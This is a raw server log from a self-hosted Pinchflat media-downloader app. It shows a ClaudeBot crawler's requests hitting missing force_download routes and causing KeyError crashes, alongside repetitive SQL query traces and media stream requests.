s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:15:44.745 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 20:15:44.745 [error] #PID<0.164514.0> running PinchflatWeb.Endpoint (connection #PID<0.164513.0>, stream id 1) terminated Server: pf.hornstreamingservices.com:80 (http) Request: GET /sources/2/media/482073/force_download ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/2/media/482073/force_download (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.164513.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/2/media/482073/force_download", host: "pf.hornstreamingservices.com", peer: {{172, 19, 0, 1}, 59800}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, zstd, deflate", "host" => "pf.hornstreamingservices.com", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)", "x-forwarded-for" => "216.73.216.41", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "216.73.216.41" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pf.hornstreamingservices.com", method: "GET", owner: #PID<0.164514.0>, params: %{}, path_info: ["sources", "2", "media", "482073", "force_download"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pf.hornstreamingservices.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 19, 0, 1}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, br, zstd, deflate"}, {"host", "pf.hornstreamingservices.com"}, {"user-agent", "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)"}, {"x-forwarded-for", "216.73.216.41"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "216.73.216.41"} ], request_path: "/sources/2/media/482073/force_download", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GM1lD5WYbKrf9DIAC76i"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.164513.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/2/media/482073/force_download", host: "pf.hornstreamingservices.com", peer: {{172, 19, 0, 1}, 59800}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, zstd, deflate", "host" => "pf.hornstreamingservices.com", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)", "x-forwarded-for" => "216.73.216.41", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "216.73.216.41" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/2/media/482073/force_download (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.164513.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/2/media/482073/force_download", host: "pf.hornstreamingservices.com", peer: {{172, 19, 0, 1}, 59800}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, zstd, deflate", "host" => "pf.hornstreamingservices.com", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)", "x-forwarded-for" => "216.73.216.41", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "216.73.216.41" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pf.hornstreamingservices.com", method: "GET", owner: #PID<0.164514.0>, params: %{}, path_info: ["sources", "2", "media", "482073", "force_download"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pf.hornstreamingservices.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 19, 0, 1}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, br, zstd, deflate"}, {"host", "pf.hornstreamingservices.com"}, {"user-agent", "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)"}, {"x-forwarded-for", "216.73.216.41"}, {"x-forwarded-proto", "https"}, (truncated) 20:15:45.234 [info] GET /sources/2/media/472253/force_download 20:15:45.235 [debug] QUERY OK source="settings" db=0.1ms idle=803.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:15:45.235 [debug] QUERY OK source="settings" db=0.1ms idle=803.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:15:45.235 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 20:15:45.235 [error] #PID<0.164516.0> running PinchflatWeb.Endpoint (connection #PID<0.164515.0>, stream id 1) terminated Server: pf.hornstreamingservices.com:80 (http) Request: GET /sources/2/media/472253/force_download ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/2/media/472253/force_download (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.164515.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/2/media/472253/force_download", host: "pf.hornstreamingservices.com", peer: {{172, 19, 0, 1}, 52540}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, zstd, deflate", "host" => "pf.hornstreamingservices.com", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)", "x-forwarded-for" => "216.73.216.41", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "216.73.216.41" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pf.hornstreamingservices.com", method: "GET", owner: #PID<0.164516.0>, params: %{}, path_info: ["sources", "2", "media", "472253", "force_download"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pf.hornstreamingservices.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 19, 0, 1}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, br, zstd, deflate"}, {"host", "pf.hornstreamingservices.com"}, {"user-agent", "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)"}, {"x-forwarded-for", "216.73.216.41"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "216.73.216.41"} ], request_path: "/sources/2/media/472253/force_download", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GM1lD7LK4YH2yNAAFuFB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.164515.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/2/media/472253/force_download", host: "pf.hornstreamingservices.com", peer: {{172, 19, 0, 1}, 52540}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, zstd, deflate", "host" => "pf.hornstreamingservices.com", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)", "x-forwarded-for" => "216.73.216.41", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "216.73.216.41" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/2/media/472253/force_download (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.164515.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/2/media/472253/force_download", host: "pf.hornstreamingservices.com", peer: {{172, 19, 0, 1}, 52540}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, zstd, deflate", "host" => "pf.hornstreamingservices.com", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)", "x-forwarded-for" => "216.73.216.41", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "216.73.216.41" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pf.hornstreamingservices.com", method: "GET", owner: #PID<0.164516.0>, params: %{}, path_info: ["sources", "2", "media", "472253", "force_download"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pf.hornstreamingservices.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 19, 0, 1}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, br, zstd, deflate"}, {"host", "pf.hornstreamingservices.com"}, {"user-agent", "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)"}, {"x-forwarded-for", "216.73.216.41"}, {"x-forwarded-proto", "https"}, (truncated) 20:15:47.997 [info] {"source":"oban","duration":894,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:16:00.233 [info] {"source":"oban","duration":168,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 20:16:17.999 [info] {"source":"oban","duration":1340,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:16:19.924 [info] GET /sources/2/media/472253 20:16:19.924 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "472253", "prevent_download" => "true", "source_id" => "2"} Pipelines: [:browser] 20:16:19.924 [debug] QUERY OK source="media_items" db=0.2ms idle=308.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [472253] 20:16:19.925 [debug] QUERY OK source="tasks" db=0.3ms idle=142.5ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [472253] 20:16:19.925 [debug] QUERY OK source="sources" db=0.4ms idle=142.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 20:16:19.926 [debug] QUERY OK source="oban_jobs" db=0.1ms idle=143.3ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" IN (?,?)) [16507, 16788] 20:16:19.926 [debug] QUERY OK source="settings" db=0.1ms idle=143.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:16:19.926 [debug] QUERY OK source="settings" db=0.1ms idle=1.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:16:19.927 [debug] QUERY OK source="settings" db=0.0ms idle=1.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:16:19.927 [debug] QUERY OK source="media_profiles" db=0.1ms idle=1.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:16:19.928 [info] Sent 200 in 4ms 20:16:20.103 [info] GET /media/11499815-12e6-4334-9a37-d1f4d963efe1/stream 20:16:20.103 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.stream/2 Parameters: %{"uuid" => "11499815-12e6-4334-9a37-d1f4d963efe1"} Pipelines: [:maybe_basic_auth] 20:16:20.103 [debug] QUERY OK source="media_items" db=0.2ms idle=177.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."uuid" = ?) ["11499815-12e6-4334-9a37-d1f4d963efe1"] 20:16:20.104 [debug] Invalid range request for media item: 11499815-12e6-4334-9a37-d1f4d963efe1 - serving full file 20:16:20.104 [info] Sent 200 in 936µs 20:16:20.759 [info] GET /media/9ef8f758-2187-4189-871e-9a0f0d06923b/stream 20:16:20.759 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.stream/2 Parameters: %{"uuid" => "9ef8f758-2187-4189-871e-9a0f0d06923b"} Pipelines: [:maybe_basic_auth] 20:16:20.760 [debug] QUERY OK source="media_items" db=0.2ms idle=833.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."uuid" = ?) ["9ef8f758-2187-4189-871e-9a0f0d06923b"] 20:16:20.760 [debug] Invalid range request for media item: 9ef8f758-2187-4189-871e-9a0f0d06923b - serving full file 20:16:20.760 [info] Sent 200 in 900µs 20:16:28.570 [info] GET /media/8621989f-713f-410e-a929-2353fcfa6b43/stream 20:16:28.570 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.stream/2 Parameters: %{"uuid" => "8621989f-713f-410e-a929-2353fcfa6b43"} Pipelines: [:maybe_basic_auth] 20:16:28.570 [debug] QUERY OK source="media_items" db=0.1ms idle=518.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."uuid" = ?) ["8621989f-713f-410e-a929-2353fcfa6b43"] 20:16:28.571 [debug] Invalid range request for media item: 8621989f-713f-410e-a929-2353fcfa6b43 - serving full file 20:16:28.571 [info] Sent 200 in 811µs 20:16:29.016 [info] GET /sources/2/media/469491 20:16:29.016 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "469491", "prevent_download" => "true", "source_id" => "2"} Pipelines: [:browser] 20:16:29.017 [debug] QUERY OK source="media_items" db=0.2ms queue=0.1ms idle=618.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [469491] 20:16:29.018 [debug] QUERY OK source="tasks" db=0.2ms idle=618.9ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [469491] 20:16:29.018 [debug] QUERY OK source="sources" db=0.3ms idle=619.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 20:16:29.019 [debug] QUERY OK source="oban_jobs" db=0.3ms idle=619.8ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" IN (?,?)) [16414, 16642] 20:16:29.019 [debug] QUERY OK source="settings" db=0.1ms idle=448.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:16:29.019 [debug] QUERY OK source="settings" db=0.2ms idle=2.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:16:29.020 [debug] QUERY OK source="settings" db=0.1ms idle=2.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:16:29.021 [debug] QUERY OK source="media_profiles" db=0.1ms idle=2.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:16:29.022 [info] Sent 200 in 5ms 20:16:29.457 [info] GET /sources/2/media/482073 20:16:29.457 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "482073", "prevent_download" => "true", "source_id" => "2"} Pipelines: [:browser] 20:16:29.458 [debug] QUERY OK source="media_items" db=0.2ms idle=438.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [482073] 20:16:29.458 [debug] QUERY OK source="tasks" db=0.2ms idle=438.7ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [482073] 20:16:29.459 [debug] QUERY OK source="sources" db=0.4ms idle=438.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 20:16:29.459 [debug] QUERY OK source="oban_jobs" db=0.2ms idle=438.4ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" IN (?,?)) [16832, 17080] 20:16:29.460 [debug] QUERY OK source="settings" db=0.1ms queue=0.1ms idle=406.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:16:29.460 [debug] QUERY OK source="settings" db=0.1ms idle=2.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 